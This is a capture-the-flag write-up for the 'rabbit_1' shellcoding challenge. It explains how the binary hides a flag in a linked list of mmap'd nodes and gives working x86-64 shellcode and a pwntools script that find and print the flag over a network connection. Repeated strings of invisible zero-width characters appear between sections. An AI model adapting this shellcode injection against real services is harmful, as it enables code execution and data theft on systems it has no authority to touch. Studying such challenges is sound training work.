← Back to Writeups
CUSTOMMediumpwn

rabbit_1 (rabbit in forest)

XESXOR9/2/20265 min read
#pwn#custom#medium#keystone_assembly#linked_list_traversal#mmap_rx_exec#rbp_relative_pointer_recovery#shellcode_injection

rabbit_1 (rabbit in forest)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: keystone_assembly, linked_list_traversal, mmap_rx_exec, rbp_relative_pointer_recovery, shellcode_injection

Summary

Task: x86-64 PIE C++ shellcoding challenge that reads your shellcode into an mmap'd RW page, makes it RX and jumps to it; the flag is pre-loaded by a getFlag helper into one of 100 mmap'd singly-linked-list nodes. Solution: recover the list head from the parent frame ([rbp-8], unchanged because call rax does not touch rbp), walk node[0]=prev pointers, and write(1, node+8, 0x20) for the node whose 32-byte data starts with "SPBCTF". 88-byte newline-free shellcode assembled with keystone.

rabbit_1 (rabbit in forest) — pwn_spbctf

Description

Here is rabbit

Welcome to our rabbit in forrest service Rabbit begins with SPBCTF and it is hidden somewhere

Author: Artur Khanov (@awengar). Category: Pwn, tier pwn4 ("shellcoding"). Remote: nc 109.233.56.90 11617 (platform pwn.spbctf.ru). Binary: rabbit.elf (x86-64, PIE, C++).

This is the first of a 3-part "rabbit in forest" shellcoding series that all share the same flag-hiding mechanic:

  • rabbit_1 — no seccomp, any syscall allowed (this writeup).
  • rabbit_2 — strict seccomp filter on the shellcode.
  • rabbit_3 — strict seccomp + a tiny 64-byte shellcode buffer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The shared mechanic (linked list of mmap'd nodes, flag pre-loaded into one node by a getFlag helper, head recoverable from the parent frame) is documented in full here so the harder variants only need to layer syscall restrictions on top.

Analysis

Control flow (main -> f1 @ 0x1351)

c
page = mmap(0, 0x1000, PROT_READ|PROT_WRITE /*3*/, MAP_PRIVATE|MAP_ANON, -1, 0);
memset(page, 0xC3, 0x3e8);          // fill with 0xC3 = `ret` sled
puts("Welcome to our rabbit in forrest service");
puts("Rabbit begins with SPBCTF and it is hidden somewhere");
fgets(page, 0x3e8, stdin);          // reads up to 0x3e7 bytes of YOUR shellcode
head = Hide(100);                   // hides the flag (see below)
mprotect(page, 0x1000, PROT_READ|PROT_EXEC /*5*/);  // page becomes RX
((void(*)())page)();                // call page; rax=page at entry, rbp UNCHANGED

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key constraints on the shellcode:

  • fgets stops at a newline (0x0a), so the shellcode must be newline-free. Embedded NUL bytes are fine.
  • The page is pre-filled with 0xC3 (ret), so any uninitialized tail is a ret sled — irrelevant to us since we exit cleanly.
  • No seccomp in rabbit_1: any syscall is allowed (write, exit, even execve if we wanted a shell — but the flag is in memory, so we just print it).

Hide(100) — the flag-hiding mechanic (reverse-engineered)

c
node* Hide(int n) {
    secret = rand() % 100;
    prev = NULL;
    for (i = 0; i < n; i++) {
        node = mmap(0, 0x48, RW, PRIV|ANON, -1, 0);   // 0x48-byte node
        if (i == secret)
            getFlag(node + 8);        // fopen("flag.txt"); fread(node+8,1,0x20,fp)
        else
            randstring(node + 8, 0x20);  // 32 random bytes
        *(void**)node = prev;         // node[0] = pointer to previous node
        prev = node;
    }
    return prev;                      // the LAST node == head
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Node layout (0x48 bytes allocated, only first 0x28 used):

node + 0x00 : prev pointer (8 bytes)   <- singly linked list, 0 terminates
node + 0x08 : 32 data bytes            <- flag "SPBCTF{...}" or random garbage

So after Hide(100) runs there are 100 mmap'd nodes chained via node[0]=prev. Exactly one node (index secret) holds the real 32-byte flag at node+8; the other 99 hold random bytes. The returned head is stored at f1's [rbp-0x8].

The crucial recon fact: call rax does not modify rbp

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

f1 sets up its frame with mov rbp, rsp at the prologue and never touches rbp again before call rax. A call only pushes the return address and jumps — it leaves rbp unchanged. Therefore, at the shellcode's first instruction, rbp still equals f1's rbp, and the list head is directly readable at [rbp-8]. No leak, no scanning — the head pointer is handed to us.

Solution

The shellcode:

  1. mov rbx, [rbp-8] — load the list head from the parent frame.
  2. Walk the chain: for each node, compare the 6 bytes at node+8 against "SPBCTF" (4 bytes "SPBC" = 0x43425053, then 2 bytes "TF" = 0x4654, both little-endian).
  3. On match: write(1, node+8, 0x20) then exit(0).
  4. On mismatch: follow node = [node] (prev pointer) until it is 0. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Walking the linked list (rather than blindly scanning memory) is fault-free: we only ever dereference valid node pointers, so there is no SIGSEGV risk.

Assembling the shellcode

pwntools asm() fails on the arm64 macOS host (no x86 cross-assembler), so the shellcode is assembled with keystone-engine (Ks(KS_ARCH_X86, KS_MODE_64)). Result: 88 bytes, newline-free, worked first try.

python
#!/usr/bin/env python3
# Exploit for pwn_spbctf / pwn4_rabbit_1
import sys, re
from keystone import Ks, KS_ARCH_X86, KS_MODE_64
from pwn import remote
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST, PORT = "109.233.56.90", 11617

# At entry: rbp == f1's rbp, head = [rbp-8].
# Node: [node+0]=prev ptr, [node+8..]=32 data bytes. List ends at prev==0.
asm_src = r"""
    mov rbx, [rbp - 8]            /* rbx = head */
loop_start:
    test rbx, rbx
    je   not_found
    mov  eax, dword ptr [rbx + 8]
    cmp  eax, 0x43425053         /* "SPBC" little-endian */
    jne  next_node
    movzx eax, word ptr [rbx + 12]
    cmp  ax, 0x4654              /* "TF" little-endian */
    jne  next_node
    mov  rax, 1                  /* write(1, rbx+8, 0x20) */
    mov  rdi, 1
    lea  rsi, [rbx + 8]
    mov  rdx, 0x20
    syscall
    mov  rax, 60                 /* exit(0) */
    xor  edi, edi
    syscall
next_node:
    mov  rbx, [rbx]              /* rbx = prev node */
    jmp  loop_start
not_found:
    mov  rax, 60                 /* exit(7) marker */
    mov  rdi, 7
    syscall
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ks = Ks(KS_ARCH_X86, KS_MODE_64)
sc = bytes(ks.asm(asm_src)[0])
assert b"\x0a" not in sc, "shellcode contains newline byte 0x0a!"

p = remote(HOST, PORT)
p.recvuntil(b"hidden somewhere")
p.recvline()
p.sendline(sc)                   # fgets terminates on the newline sendline adds
data = p.recvall(timeout=10)
m = re.search(rb"SPBCTF\{[^}]*\}", data)
print("FLAG:", m.group(0).decode() if m else data)

Assembled shellcode bytes (88 bytes, newline-free)

488b5df84885db743f8b43083d5350424375300fb7430c663d5446752648c7c0
0100000048c7c701000000488d730848c7c2200000000f0548c7c03c00000031
ff0f05488b1bebbc48c7c03c00000048c7c7070000000f05

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍